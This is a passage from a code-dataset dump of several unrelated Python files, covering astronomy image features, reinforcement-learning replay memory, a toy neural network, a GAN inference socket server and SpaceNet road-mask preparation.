format.\n image_gray: an OpenCV standard gray scale image format.\n\n Returns:\n An image cleaned from star light.\n \"\"\"\n t = np.max(np.median(image_color[np.nonzero(image_gray)], axis=0))\n image_color[image_color < t] = t\n\n return self.rescale(image_color).astype(\"uint8\")\n\n def get_center_of_mass(self, image, labels, nb_labels):\n \"\"\" Get the center of mass of the galaxy.\n\n\n Args:\n image: an OpenCV standard gray scale image format\n labels: the image's labels\n nb_labels: the image's number of labels\n\n Returns:\n The thresholded galaxy image with it's center coordinates.\n \"\"\"\n thresholded = self.largest_connected_component(image=image, labels=labels, nb_labels=nb_labels)\n center = nd.center_of_mass(image, thresholded)\n\n return thresholded, center\n\n def get_light_radius(self, image, r=[0.1, 0.8]):\n \"\"\" Get the radius of the light in the image.\n\n Args:\n image: an OpenCV standard gray scale image format\n r: probability list\n\n Returns:\n The light radius as a floating point value.\n \"\"\"\n image = image.astype('float')\n idx = np.nonzero(image)\n s = image[idx].sum()\n mask = np.ones(image.shape)\n mask[int(image.shape[0] / 2), int(image.shape[1] / 2)] = 0\n edt = nd.distance_transform_edt(mask)\n edt[edt >= image.shape[1] / 2] = 0\n edt[image == 0] = 0\n q = mquantiles(edt[np.nonzero(edt)].flatten(), r)\n res = []\n for q0 in q:\n res.append(image[edt < q0].sum() / s)\n\n return res\n\n def get_color_histogram(self, img_color):\n \"\"\" Get the color histograms from a color image.\n\n Args:\n img_color: an OpenCV standard color image format.\n\n Returns:\n The BGR color histograms.\n \"\"\"\n blue_histogram = cv2.calcHist(img_color, [0], None, [256], [0, 256])\n green_histogram = cv2.calcHist(img_color, [1], None, [256], [0, 256])\n red_histogram = cv2.calcHist(img_color, [2], None, [256], [0, 256])\n\n return np.array([blue_histogram, green_histogram, red_histogram])\n\n def get_features(self, image_file, id, label):\n \"\"\" Get the image's features.\n\n A wrapping method to get the image's features.\n\n Place your code here.\n\n Args:\n image_file: the image's file being processed.\n\n Returns:\n features: a feature vector of N dimensions for N features.\n \"\"\"\n\n print(\"Processing file : \" + image_file)\n\n # Declare a list for storing computed features.\n features = list()\n\n img_color = cv2.imread(filename=image_file)\n\n # A feature given to student as example. Not used in the following code.\n color_histogram = self.get_color_histogram(img_color=img_color)\n\n features = np.append(features, color_histogram)\n \n return features\n","sub_path":"core/feature_extraction/galaxy/galaxy_processor.py","file_name":"galaxy_processor.py","file_ext":"py","file_size_in_byte":15082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"494427751","text":"__author__ = \"Brian Koech\"\n__author_email__ = \"********\"\n__copyright__ = \"Copyright (c) 2019 Libran Consult, Inc.\"\n__license__ = \"MIT\"\ndef collatz(number):\n # Run if number is Even \n if (number % 2 == 0):\n print (number // 2)\n return number // 2\n # Run this if number is Odd \n else:\n print (number * 3 + 1)\n return number * 3 + 1\n# Ensure user enters a number and call function recursively until n = 1\ntry:\n print(\"Enter a number\")\n user_input = int(input(\":> \"))\nexcept ValueError:\n print(\"Please enter a number\")\nelse:\n while user_input != 1:\n user_input = collatz(int(user_input)) \n","sub_path":"collatz.py","file_name":"collatz.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"445240900","text":"from collections import deque\nfrom copy import deepcopy\nfrom slm_lab.agent.memory.base import Memory\nfrom slm_lab.lib import logger, util\nfrom slm_lab.lib.decorator import lab_api\nimport numpy as np\nimport pydash as ps\n\nlogger = logger.get_logger(__name__)\n\n\nclass OnPolicyReplay(Memory):\n '''\n Stores agent experiences and returns them in a batch for agent training.\n\n An experience consists of\n - state: representation of a state\n - action: action taken\n - reward: scalar value\n - next state: representation of next state (should be same as state)\n - done: 0 / 1 representing if the current state is the last in an episode\n\n The memory does not have a fixed size. Instead the memory stores data from N episodes, where N is determined by the user. After N episodes, all of the examples are returned to the agent to learn from.\n\n When the examples are returned to the agent, the memory is cleared to prevent the agent from learning from off policy experiences. This memory is intended for on policy algorithms.\n\n Differences vs. Replay memory:\n - Experiences are nested into episodes. In Replay experiences are flat, and episode is not tracked\n - The entire memory constitues a batch. In Replay batches are sampled from memory.\n - The memory is cleared automatically when a batch is given to the agent.\n\n e.g. memory_spec\n \"memory\": {\n \"name\": \"OnPolicyReplay\"\n }\n '''\n\n def __init__(self, memory_spec, body):\n super(OnPolicyReplay, self).__init__(memory_spec, body)\n # NOTE for OnPolicy replay, frequency = episode; for other classes below frequency = frames\n util.set_attr(self, self.body.agent.agent_spec['algorithm'], ['training_frequency'])\n self.state_buffer = deque(maxlen=0) # for API consistency\n # Don't want total experiences reset when memory is\n self.is_episodic = True\n self.true_size = 0 # to number of experiences stored\n self.seen_size = 0 # the number of experiences seen, including those stored and discarded\n # declare what data keys to store\n self.data_keys = ['states', 'actions', 'rewards', 'next_states', 'dones']\n self.reset()\n\n @lab_api\n def reset(self):\n '''Resets the memory. Also used to initialize memory vars'''\n for k in self.data_keys:\n setattr(self, k, [])\n self.cur_epi_data = {k: [] for k in self.data_keys}\n self.most_recent = [None] * len(self.data_keys)\n self.true_size = 0 # Size of the current memory\n self.state_buffer.clear()\n for _ in range(self.state_buffer.maxlen):\n self.state_buffer.append(np.zeros(self.body.state_dim))\n\n @lab_api\n def update(self, action, reward, state, done):\n '''Interface method to update memory'''\n self.base_update(action, reward, state, done)\n if not np.isnan(reward): # not the start of episode\n self.add_experience(self.last_state, action, reward, state, done)\n self.last_state = state\n\n def add_experience(self, state, action, reward, next_state, done):\n '''Interface helper method for update() to add experience to memory'''\n self.most_recent = [state, action, reward, next_state, done]\n for idx, k in enumerate(self.data_keys):\n self.cur_epi_data[k].append(self.most_recent[idx])\n # If episode ended, add to memory and clear cur_epi_data\n if done:\n for k in self.data_keys:\n getattr(self, k).append(self.cur_epi_data[k])\n self.cur_epi_data = {k: [] for k in self.data_keys}\n # If agent has collected the desired number of episodes, it is ready to train\n # length is num of epis due to nested structure\n if len(self.states) == self.body.agent.algorithm.training_frequency:\n self.body.agent.algorithm.to_train = 1\n # Track memory size and num experiences\n self.true_size += 1\n if self.true_size > 1000:\n self.warn_size_once('Large memory size: {}'.format(self.true_size))\n self.seen_size += 1\n\n def get_most_recent_experience(self):\n '''Returns the most recent experience'''\n return self.most_recent\n\n def sample(self):\n '''\n Returns all the examples from memory in a single batch. Batch is stored as a dict.\n Keys are the names of the different elements of an experience. Values are nested lists of the corresponding sampled elements. Elements are nested into episodes\n e.g.\n batch = {\n 'states' : [[s_epi1], [s_epi2], ...],\n 'actions' : [[a_epi1], [a_epi2], ...],\n 'rewards' : [[r_epi1], [r_epi2], ...],\n 'next_states': [[ns_epi1], [ns_epi2], ...],\n 'dones' : [[d_epi1], [d_epi2], ...]}\n '''\n batch = {k: getattr(self, k) for k in self.data_keys}\n self.reset()\n return batch\n\n\nclass OnPolicySeqReplay(OnPolicyReplay):\n '''\n Same as OnPolicyReplay Memory but returns the last `seq_len` states and next_states for input to a recurrent network.\n Experiences with less than `seq_len` previous examples are padded with a 0 valued state and action vector.\n\n e.g. memory_spec\n \"memory\": {\n \"name\": \"OnPolicySeqReplay\"\n }\n * seq_len provided by net_spec\n '''\n\n def __init__(self, memory_spec, body):\n super(OnPolicySeqReplay, self).__init__(memory_spec, body)\n self.seq_len = self.body.agent.agent_spec['net']['seq_len']\n self.state_buffer = deque(maxlen=self.seq_len)\n self.reset()\n\n def preprocess_state(self, state, append=True):\n '''\n Transforms the raw state into format that is fed into the network\n NOTE for onpolicy memory this method only gets called in policy util, not here.\n '''\n self.preprocess_append(state, append)\n return np.stack(self.state_buffer)\n\n def sample(self):\n '''\n Returns all the examples from memory in a single batch. Batch is stored as a dict.\n Keys are the names of the different elements of an experience. Values are nested lists of the corresponding sampled elements. Elements are nested into episodes\n states and next_states have are further nested into sequences containing the previous `seq_len` - 1 relevant states\n e.g.\n let s_seq_0 be [0, ..., s0] (zero-padded), s_seq_k be [s_{k-seq_len}, ..., s_k], so the states are nested for passing into RNN.\n batch = {\n 'states' : [\n [s_seq_0, s_seq_1, ..., s_seq_k]_epi_1,\n [s_seq_0, s_seq_1, ..., s_seq_k]_epi_2,\n ...]\n 'actions' : [[a_epi1], [a_epi2], ...],\n 'rewards' : [[r_epi1], [r_epi2], ...],\n 'next_states: [\n [ns_seq_0, ns_seq_1, ..., ns_seq_k]_epi_1,\n [ns_seq_0, ns_seq_1, ..., ns_seq_k]_epi_2,\n ...]\n 'dones' : [[d_epi1], [d_epi2], ...]}\n '''\n batch = {}\n batch['states'] = self.build_seqs(self.states)\n batch['actions'] = self.actions\n batch['rewards'] = self.rewards\n batch['next_states'] = self.build_seqs(self.next_states)\n batch['dones'] = self.dones\n self.reset()\n return batch\n\n def build_seqs(self, data):\n '''Construct the epi-nested-seq data for sampling'''\n all_epi_data_seq = []\n for epi_data in data:\n data_seq = []\n # make [0, ..., *epi_data]\n padded_epi_data = deepcopy(epi_data)\n padding = np.zeros_like(epi_data[0])\n for i in range(self.seq_len - 1):\n padded_epi_data.insert(0, padding)\n # slide seqs and build for one epi\n for i in range(len(epi_data)):\n data_seq.append(padded_epi_data[i:i + self.seq_len])\n all_epi_data_seq.append(data_seq)\n return all_epi_data_seq\n\n\nclass OnPolicyBatchReplay(OnPolicyReplay):\n '''\n Same as OnPolicyReplay Memory with the following difference.\n\n The memory does not have a fixed size. Instead the memory stores data from N experiences, where N is determined by the user. After N experiences or if an episode has ended, all of the examples are returned to the agent to learn from.\n\n In contrast, OnPolicyReplay stores entire episodes and stores them in a nested structure. OnPolicyBatchReplay stores experiences in a flat structure.\n\n e.g. memory_spec\n \"memory\": {\n \"name\": \"OnPolicyBatchReplay\"\n }\n * batch_size is training_frequency provided by algorithm_spec\n '''\n\n def __init__(self, memory_spec, body):\n super(OnPolicyBatchReplay, self).__init__(memory_spec, body)\n self.is_episodic = False\n\n def add_experience(self, state, action, reward, next_state, done):\n '''Interface helper method for update() to add experience to memory'''\n self.most_recent = [state, action, reward, next_state, done]\n for idx, k in enumerate(self.data_keys):\n getattr(self, k).append(self.most_recent[idx])\n # Track memory size and num experiences\n self.true_size += 1\n if self.true_size > 1000:\n self.warn_size_once('Large memory size: {}'.format(self.true_size))\n self.seen_size += 1\n # Decide if agent is to train\n if done or len(self.states) == self.body.agent.algorithm.training_frequency:\n self.body.agent.algorithm.to_train = 1\n\n def sample(self):\n '''\n Returns all the examples from memory in a single batch. Batch is stored as a dict.\n Keys are the names of the different elements of an experience. Values are a list of the corresponding sampled elements\n e.g.\n batch = {\n 'states' : states,\n 'actions' : actions,\n 'rewards' : rewards,\n 'next_states': next_states,\n 'dones' : dones}\n '''\n return super(OnPolicyBatchReplay, self).sample()\n\n\nclass OnPolicySeqBatchReplay(OnPolicyBatchReplay):\n '''\n Same as OnPolicyBatchReplay Memory but returns the last `seq_len` states and next_states for input to a recurrent network.\n Experiences with less than `seq_len` previous examples are padded with a 0 valued state and action vector.\n\n e.g. memory_spec\n \"memory\": {\n \"name\": \"OnPolicySeqBatchReplay\"\n }\n * seq_len provided by net_spec\n * batch_size is training_frequency provided by algorithm_spec\n '''\n\n def __init__(self, memory_spec, body):\n super(OnPolicySeqBatchReplay, self).__init__(memory_spec, body)\n self.is_episodic = False\n self.seq_len = self.body.agent.agent_spec['net']['seq_len']\n self.state_buffer = deque(maxlen=self.seq_len)\n self.reset()\n\n def preprocess_state(self, state, append=True):\n # delegate to OnPolicySeqReplay sequential method\n return OnPolicySeqReplay.preprocess_state(self, state, append)\n\n def sample(self):\n '''\n Batched version of OnPolicySeqBatchReplay.sample()\n e.g.\n let s_seq_0 be [0, ..., s0] (zero-padded), s_seq_k be [s_{k-seq_len}, ..., s_k], so the states are nested for passing into RNN.\n batch = {\n 'states' : [[s_seq_0, s_seq_1, ..., s_seq_k]],\n 'actions' : actions,\n 'rewards' : rewards,\n 'next_states': [[ns_seq_0, ns_seq_1, ..., ns_seq_k]],\n 'dones' : dones}\n '''\n # delegate method\n return OnPolicySeqReplay.sample(self)\n\n def build_seqs(self, data):\n '''Construct the seq data for sampling'''\n data_seq = []\n # make [0, ..., *data]\n padded_data = deepcopy(data)\n padding = np.zeros_like(data[0])\n for i in range(self.seq_len - 1):\n padded_data.insert(0, padding)\n # slide seqs and build for one epi\n for i in range(len(data)):\n data_seq.append(padded_data[i:i + self.seq_len])\n return data_seq\n\n\nclass OnPolicyConcatReplay(OnPolicyReplay):\n '''\n Preprocesses a state to be the concatenation of the last n states. Otherwise the same as Replay memory\n\n e.g. memory_spec\n \"memory\": {\n \"name\": \"OnPolicyConcatReplay\",\n \"concat_len\": 4\n }\n '''\n\n def __init__(self, memory_spec, body):\n util.set_attr(self, memory_spec, [\n 'concat_len', # number of stack states\n ])\n self.raw_state_dim = deepcopy(body.state_dim) # used for state_buffer\n body.state_dim = body.state_dim * self.concat_len # modify to use for net init for concat input\n super(OnPolicyConcatReplay, self).__init__(memory_spec, body)\n self.state_buffer = deque(maxlen=self.concat_len)\n self.reset()\n\n def reset(self):\n '''Initializes the memory arrays, size and head pointer'''\n super(OnPolicyConcatReplay, self).reset()\n self.state_buffer.clear()\n for _ in range(self.state_buffer.maxlen):\n self.state_buffer.append(np.zeros(self.raw_state_dim))\n\n def epi_reset(self, state):\n '''Method to reset at new episode'''\n state = self.preprocess_state(state, append=False) # prevent conflict with preprocess in epi_reset\n super(OnPolicyConcatReplay, self).epi_reset(state)\n # reappend buffer with custom shape\n self.state_buffer.clear()\n for _ in range(self.state_buffer.maxlen):\n self.state_buffer.append(np.zeros(self.raw_state_dim))\n\n def preprocess_state(self, state, append=True):\n '''Transforms the raw state into format that is fed into the network'''\n # append when state is first seen when acting in policy_util, don't append elsewhere in memory\n self.preprocess_append(state, append)\n return np.concatenate(self.state_buffer)\n\n @lab_api\n def update(self, action, reward, state, done):\n '''Interface method to update memory'''\n self.base_update(action, reward, state, done)\n state = self.preprocess_state(state, append=False) # prevent conflict with preprocess in epi_reset\n if not np.isnan(reward): # not the start of episode\n self.add_experience(self.last_state, action, reward, state, done)\n self.last_state = state\n\n\nclass OnPolicyAtariReplay(OnPolicyReplay):\n '''\n Preprocesses an state to be the concatenation of the last four states, after converting the 210 x 160 x 3 image to 84 x 84 x 1 grayscale image, and clips all rewards to [-10, 10] as per \"Playing Atari with Deep Reinforcement Learning\", Mnih et al, 2013\n Note: Playing Atari with Deep RL clips the rewards to + / - 1\n Otherwise the same as OnPolicyReplay memory\n '''\n\n def __init__(self, memory_spec, body):\n util.set_attr(self, memory_spec, [\n 'stack_len', # number of stack states\n ])\n OnPolicyReplay.__init__(self, memory_spec, body)\n\n def add_experience(self, state, action, reward, next_state, done):\n # clip reward, done here to minimize change to only training data data\n super(OnPolicyAtariReplay, self).add_experience(state, action, np.sign(reward), next_state, done)\n\n\nclass OnPolicyImageReplay(OnPolicyReplay):\n '''\n An on policy replay buffer that normalizes (preprocesses) images through\n division by 255 and subtraction of 0.5.\n '''\n\n def __init__(self, memory_spec, body):\n super(OnPolicyImageReplay, self).__init__(memory_spec, body)\n\n def preprocess_state(self, state, append=True):\n state = util.normalize_image(state) - 0.5\n return state\n","sub_path":"slm_lab/agent/memory/onpolicy.py","file_name":"onpolicy.py","file_ext":"py","file_size_in_byte":15660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"87066711","text":"#!/usr/bin/env python\n\nimport re\n\n\ndef ensure_newlines(text, cursor, amount):\n line_number, _ = cursor\n\n for line in reversed(text[:line_number]):\n if line != '' or amount <= 0:\n break\n\n amount -= 1\n line_number -= 1\n\n text[line_number:line_number] = [''] * amount\n return text, line_number, amount\n\n\ndef ensure_indent(text, cursor, indent, expand_tab=True, shift_width=4):\n if expand_tab == '1':\n indent_symbol = ' ' * shift_width\n else:\n indent_symbol = '\\t'\n\n text[cursor[0]] = indent_symbol * indent\n\n return (cursor[0], len(text[cursor[0]]))\n\n\ndef get_indentation(line):\n indent = len(line) - len(line.lstrip())\n\n return indent, line[:indent]\n\n\ndef get_higher_indent(text, cursor):\n line_number, _ = cursor\n\n current_indent, _ = get_indentation(text[line_number])\n for line in reversed(text[:line_number]):\n line_number -= 1\n if line == '':\n continue\n\n line_indent, _ = get_indentation(line)\n if current_indent > line_indent:\n return (line, line_number)\n\n return None\n\n\ndef match_higher_indent(text, cursor, pattern):\n line_number, _ = cursor\n while True:\n indent = get_higher_indent(text, (line_number, 0))\n if not indent:\n return\n\n line, line_number = indent\n if re.search(pattern, line.strip()):\n return indent\n\n\ndef match_exact_indent(text, cursor, amount, pattern, direction=+1):\n line_number, _ = cursor\n\n line_number += direction\n\n while 0 <= line_number < len(text):\n line = text[line_number]\n line_indent, _ = get_indentation(line)\n\n if line_indent == amount:\n if re.search(pattern, line):\n return (line_number, 0)\n\n line_number += direction\n\n return None\n\n\ndef match_exact_indent_as_in_line(text, cursor, line, pattern, direction=+1):\n amount = len(get_indentation(line)[1])\n return match_exact_indent(text, cursor, amount, pattern, direction)\n","sub_path":"pythonx/snippets/whitespaces.py","file_name":"whitespaces.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"389827872","text":"#python tutorial07.py ../../data/titles-en-train.labeled result1.txt ../../data/titles-en-test.word result2.txt\nimport sys\nimport numpy as np\nfrom collections import defaultdict\n\ndef count_features(ids, input_file):\n with open(input_file, \"r\", encoding=\"utf-8\") as input_file:\n for line in input_file:\n _, words = line.strip().split(\"\\t\")\n words = words.split(\" \")\n for word in words:\n ids[\"UNI:\"+word]\n\nclass NeuralNetwork:\n def __init__(self, input_nodes, lr):\n self.inodes = input_nodes\n self.hnodes = 2\n self.onodes = 1\n self.lr = lr\n\n self.w_ih = np.random.rand(self.hnodes, self.inodes) -0.5\n self.w_ho = np.random.rand(self.onodes, self.hnodes)-0.5\n self.b_ih = np.random.rand(self.hnodes)-0.5\n self.b_ho = np.random.rand(self.onodes)-0.5\n\n self.phi = [0,0,0]\n self.delta_ih = [0,0]\n self.delta_ho = [0]\n\n self.ids = defaultdict(lambda:len(self.ids))\n\n def count_features(self, input_file):\n for line in input_file:\n _, words = line.strip().split(\"\\t\")\n words = words.split(\" \")\n for word in words:\n self.ids[\"UNI:\"+word]\n\n def forward_nn(self, phi_0):\n self.phi[0] = phi_0\n self.phi[1] = np.tanh(np.dot(self.w_ih,self.phi[0]) + self.b_ih)\n self.phi[2] = np.tanh(np.dot(self.w_ho,self.phi[1]) + self.b_ho)\n\n def backward_nn(self, y_ans):\n self.delta_ho[0] = (y_ans - self.phi[2]) * (1-self.phi[2]**2)\n a = np.dot(self.delta_ho[0],self.w_ho)\n self.delta_ih[0] = a[0] * (1 - self.phi[1][0]**2)\n self.delta_ih[1] = a[1] * (1 - self.phi[1][1]**2)\n\n def predict_one(self, phi):\n score = np.dot(self.w, phi)\n if score[0] >= 0:\n return 1\n else:\n return -1\n\n def create_features(self, x):\n phi = np.zeros(self.inodes)\n words = x.split()\n for word in words:\n phi[self.ids[\"UNI:\" + word]] += 1\n return phi\n \n def create_features_for_test(self, x):\n phi = np.zeros(self.inodes)\n words = x.split()\n for word in words:\n if(\"UNI:\" + word in self.ids):\n phi[self.ids[\"UNI:\" + word]] += 1\n return phi\n \n def update_weights(self):\n self.w_ih += self.lr * np.outer(self.delta_ih[0],self.phi[0])\n self.b_ih += self.lr * self.delta_ih[0]\n self.w_ih += self.lr * np.outer(self.delta_ih[1], self.phi[0])\n self.b_ih += self.lr * self.delta_ih[1]\n self.w_ho += self.lr * np.outer(self.delta_ho[0],self.phi[1])\n self.b_ho += self.lr * self.delta_ho[0]\n\n def train(self,input_file,output_file):\n with open(input_file, \"r\", encoding=\"utf-8\") as input_file:\n for line in input_file:\n label, words = line.strip().split(\"\\t\")\n label = int(label)\n p_0 = self.create_features(words)\n self.forward_nn(p_0)\n self.backward_nn(label)\n self.update_weights()\n \n def test(self,input_file,output_file):\n with open(input_file, \"r\", encoding=\"utf-8\") as input_file,\\\n open(output_file, \"w\", encoding=\"utf-8\") as output_file:\n for line in input_file:\n words = line.strip()\n p_0 = self.create_features_for_test(words)\n self.forward_nn(p_0)\n a=0\n print(self.phi[2])\n if(self.phi[2]<0):\n a = -1\n else:\n a = 1\n output_file.write(f'{a}\\t{line}')\n \nif __name__ == \"__main__\" :\n ids = defaultdict(lambda:len(ids))\n count_features(ids,sys.argv[1])\n NN = NeuralNetwork(len(ids),0.01)\n NN.train(sys.argv[1],sys.argv[2])\n NN.test(sys.argv[3],sys.argv[4])\n '''\n Accuracy:89.373007%\n '''","sub_path":"kobayashi/tutorial07/tutorial07.py","file_name":"tutorial07.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"585770334","text":"from skmultiflow.trees.attribute_observer import NumericAttributeClassObserverGaussian\nfrom skmultiflow.trees.attribute_observer import NominalAttributeClassObserver\nfrom skmultiflow.trees.nodes import ActiveLearningNode\n\n\nclass LCActiveLearningNode(ActiveLearningNode):\n \"\"\" Active Learning node for the Label Combination Hoeffding Tree.\n\n Parameters\n ----------\n initial_class_observations: dict (class_value, weight) or None\n Initial class observations\n\n \"\"\"\n def __init__(self, initial_class_observations):\n super().__init__(initial_class_observations)\n\n def learn_from_instance(self, X, y, weight, ht):\n\n if ht.leaf_prediction != ht._NAIVE_BAYES_ADAPTIVE:\n y = ''.join(str(e) for e in y)\n y = int(y, 2)\n\n try:\n self._observed_class_distribution[y] += weight\n except KeyError:\n self._observed_class_distribution[y] = weight\n\n for i in range(len(X)):\n try:\n obs = self._attribute_observers[i]\n except KeyError:\n if ht.nominal_attributes is not None and i in ht.nominal_attributes:\n obs = NominalAttributeClassObserver()\n else:\n obs = NumericAttributeClassObserverGaussian()\n self._attribute_observers[i] = obs\n obs.observe_attribute_class(X[i], int(y), weight)\n","sub_path":"src/skmultiflow/trees/nodes/lc_active_learning_node.py","file_name":"lc_active_learning_node.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"638498962","text":"# -*- coding: utf-8 -*-\n\nimport socket\nimport time\nimport sys\n# sys.path.insert(0,\"/home/swf/swfcode/gan/pytorch-CycleGAN-and-pix2pix-master/\")\nfrom batch_inference import my_create_model, my_batch_inference\n\n\n\nsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#IPV4,TCP协议\nsock.bind(('219.224.168.43',54377))#绑定ip和端口,bind接受的是一个元组\nsock.listen(5)#设置监听,其值阻塞队列长度,一共可以有5+1个客户端和服务器连接\na=[x for x in range(40960,41160)]\n# a1 = str(a)\nprint(\"start server\")\nopt, model = my_create_model()\n# model.input(\"\")\n# model.test()\nwhile True:\n # a=[x + 1 for x in a]\n # s=str(a)#将数据转化为String\n connection, address = sock.accept()#等待客户请求\n print(\"client ip is:\",address)#打印客户端地址\n buf = connection.recv(40960)#接收数据,并存入buf\n save_path = my_batch_inference(model, opt, (buf).decode(\"utf-8\"))\n print (save_path)\n # print buf\n connection.sendall(bytes(save_path.encode('utf-8')))\n # print(s)\n connection.close()#关闭连接\n time.sleep(1)\nsock.close()#关闭服务器\n","sub_path":"serverbatch.py","file_name":"serverbatch.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"129583168","text":"#!/usr/bin/env python3\n\ndef bsearch(left, right, list_in, key):\n if left < right:\n middle = (left + (right-1))//2\n if list_in[middle] < key:\n return bsearch(middle+1, right, list_in, key)\n elif list_in[middle] > key:\n return bsearch(left, middle-1, list_in, key)\n else:\n return middle\n else:\n return -1\n\na = [12, 11, 9, 34, 100, 103, 55, 76, 87, 23, 54, 29, 18]\na.sort()\nin_value = int(input(\"\\nEnter a number to search in the list :\"))\n\nresult = bsearch(0, len(a), a, in_value)\n\n\n\nif result == -1:\n print(\"\\n Element not in the list.\")\nelse:\n print(\"\\n{}\".format(a))\n for i in range(len(a)):\n print(i, end=' ')\n\n print(\"\\nElement {} found in postion {}.\".format(in_value, result))","sub_path":"course_4/week1/bsearch_1.py","file_name":"bsearch_1.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"485501544","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\nimport apls_tools\n\"\"\"\nCreated on Tue Dec 5 16:56:31 2017\n\n@author: avanetten\n\"\"\"\n\nimport os\nimport sys\nimport argparse\nsys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\ncode_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\nsys.path.append(os.path.join(code_dir, 'spacenet',\n 'utilities', 'python'))\nfrom spaceNetUtilities import geoTools as gT\nfrom spaceNetUtilities import labelTools as lT\n\ndef processRasterChip(rasterImage, rasterDescription, geojson, geojsonDescription, outputDirectory='',\n imagePixSize=-1, clipOverlap=0.0, randomClip=False,\n minpartialPerc=0.0,\n outputPrefix=''):\n\n # cut Image to Size\n chipSummaryList = []\n if imagePixSize > 0:\n\n rasterFileList = [[rasterImage, rasterDescription]]\n shapeFileSrcList = [[geojson, geojsonDescription]]\n # cut image to size\n print(rasterFileList)\n chipSummaryList = gT.cutChipFromMosaic(rasterFileList,\n shapeFileSrcList,\n outputDirectory=outputDirectory,\n outputPrefix=outputPrefix,\n clipSizeMX=imagePixSize,\n clipSizeMY=imagePixSize,\n minpartialPerc=minpartialPerc,\n createPix=True,\n clipOverlap=clipOverlap,\n noBlackSpace=True,\n randomClip=-1\n )\n\n else:\n chipSummary = {'rasterSource': rasterImage,\n 'chipName': rasterImage,\n 'geoVectorName': geojson,\n 'pixVectorName': ''\n }\n\n chipSummaryList.append(chipSummary)\n\n return chipSummaryList\n\n\ndef main():\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--buffer_meters', default=2, type=float,\n help='Buffer distance (meters) around graph')\n parser.add_argument('--burnValue', default=150, type=int,\n help='Value of road pixels (for plotting)')\n parser.add_argument('--filepath', type=str,\n default='/home/ananya/Documents/data/spacenet/SpaceNet_Buildings_Competition_Round2_Sample/AOI_3_Paris_Roads_Train/')\n parser.add_argument('--imgSizePix', type=int, default=416)\n args = parser.parse_args()\n\n # set paths\n path_apls_src = os.path.dirname(os.path.realpath(__file__))\n path_apls = os.path.dirname(path_apls_src)\n path_data = args.filepath\n path_outputs = os.path.join(args.filepath, 'annotations')\n path_images_raw = os.path.join(path_data, 'RGB-PanSharpen')\n path_images_8bit = os.path.join(path_data, 'RGB-PanSharpen_clip_8bit')\n path_labels = os.path.join(path_data, 'geojson/spacenetroads')\n # output directories\n path_masks = os.path.join(\n path_outputs, 'clip_masks_' + str(args.buffer_meters) + 'm')\n path_masks_plot = os.path.join(\n path_outputs, 'clip_masks_' + str(args.buffer_meters) + 'm_plots')\n # create directories\n for d in [path_outputs, path_images_8bit, path_masks, path_masks_plot]:\n if not os.path.exists(d):\n os.mkdir(d)\n\n # iterate through images, chip, convert to 8-bit, and create masks\n im_files = os.listdir(path_images_raw)\n for im_file in im_files:\n if not im_file.endswith('.tif'):\n continue\n # chip images\n name_root = im_file.split('_')[-1].split('.')[0]\n label_file = os.path.join(path_labels, 'spacenetroads_AOI_3_Paris_'\n + name_root + '.geojson')\n chipSummaryList = processRasterChip(os.path.join(path_images_raw,im_file), path_images_raw,\n label_file, os.path.dirname(label_file),\n outputDirectory=path_outputs,\n imagePixSize=args.imgSizePix, clipOverlap=0.0, randomClip=False,\n minpartialPerc=0.0,\n outputPrefix='')\n for chipSummary in chipSummaryList:\n # create 8-bit image\n # im_file_raw = os.path.join(path_images_raw, im_file)\n # im_file_out = os.path.join(path_images_8bit, im_file)\n # annotationName = os.path.basename(chipSummary['rasterSource'])\n # annotationName = os.path.join(path_outputs, annotationName)\n\n im_file_raw = chipSummary['rasterSource']\n im_file_out = os.path.join(\n path_images_8bit, chipSummary['chipName'])\n # convert to 8bit\n apls_tools.convert_to_8Bit(im_file_raw, im_file_out,\n outputPixType='Byte',\n outputFormat='GTiff',\n rescale_type='rescale',\n percentiles=[2, 98])\n\n # determine output files\n # label_file = os.path.join(path_labels, 'spacenetroads_AOI_3_Paris_'\n # + name_root + '.geojson')\n # label_file_tot = os.path.join(path_labels, label_file)\n label_file_tot = chipSummary['geoVectorName']\n output_raster = os.path.join(\n path_masks, 'mask_' + name_root + '.tif')\n plot_file = os.path.join(\n path_masks_plot, 'mask_' + name_root + '.png')\n\n print(\"\\nname_root:\", name_root)\n print(\" output_raster:\", output_raster)\n print(\" output_plot_file:\", plot_file)\n\n # create masks\n mask, gdf_buffer = apls_tools.get_road_buffer(label_file_tot, im_file_out,\n output_raster,\n buffer_meters=args.buffer_meters,\n burnValue=args.burnValue,\n bufferRoundness=6,\n plot_file=plot_file,\n # (13,4),\n figsize=(6, 6),\n fontsize=8,\n dpi=200, show_plot=False,\n verbose=False)\n return\n\n\n###############################################################################\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/create_spacenet_masks.py","file_name":"create_spacenet_masks.py","file_ext":"py","file_size_in_byte":7040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"291687430","text":"import so3g\nfrom . import quat\n\nimport numpy as np\n\nfrom .ranges import Ranges, RangesMatrix\n\nclass Projectionist:\n \"\"\"This class assists with analyzing WCS information to populate data\n structures needed for accelerated pointing routines.\n\n The optimized pointing code only needs to know about the Native\n Celestial Coordinate system, because the projection plane and thus\n the pixel indices are defined relative to that.\n\n As in pixell, the code below uses the term \"geometry\" to refer 